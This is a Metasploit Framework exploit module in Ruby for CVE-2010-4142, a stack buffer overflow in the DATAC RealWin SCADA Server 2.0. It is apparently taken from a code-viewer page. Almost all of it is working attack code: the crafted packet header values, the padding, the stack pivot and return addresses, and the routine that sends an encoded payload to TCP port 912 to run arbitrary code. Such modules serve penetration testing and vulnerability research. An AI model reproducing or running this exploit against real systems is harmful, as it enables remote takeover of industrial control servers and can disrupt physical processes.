|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81  |  ## # $Id: realwin_scpc_txtevent.rb 11125 2010-11-24 13:44:46Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GreatRanking  include Msf::Exploit::Remote::Tcp  def initialize(info = {})  super(update_info(info,  'Name' => 'DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow',  'Description'=> %q{  This module exploits a stack buffer overflow in DATAC Control  International RealWin SCADA Server 2.0 (Build 6.1.8.10).  By sending a specially crafted packet,  an attacker may be able to execute arbitrary code.  },  'Author' => [ 'Luigi Auriemma', 'MC' ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 11125 $',  'References' =>  [  [ 'CVE', '2010-4142'],  [ 'OSVDB', '68812'],  ],  'Privileged' => true,  'DefaultOptions' =>  {  'EXITFUNC' => 'thread',  },  'Payload'=>  {  'Space'=> 550,  'BadChars' => "\x00\x20\x0a\x0d",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  [ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],  ],  'DefaultTarget' => 0,  'DisclosureDate' => 'Nov 18 2010'))  register_options([Opt::RPORT(912)], self.class)  end  def exploit  connect  data =[0x6a541264].pack('V')  data << [0x00000010].pack('V')  data << [0x00001ff4].pack('V')  data << rand_text_alpha_upper(164)  data << [target['Pivot']].pack('V')  data << rand_text_alpha_upper(16)  data << [target.ret].pack('V')  data << payload.encoded  data << rand_text_alpha_upper(10024 - payload.encoded.length)  print_status("Trying target #{target.name}...")  sock.put(data)  handler  disconnect  end end  |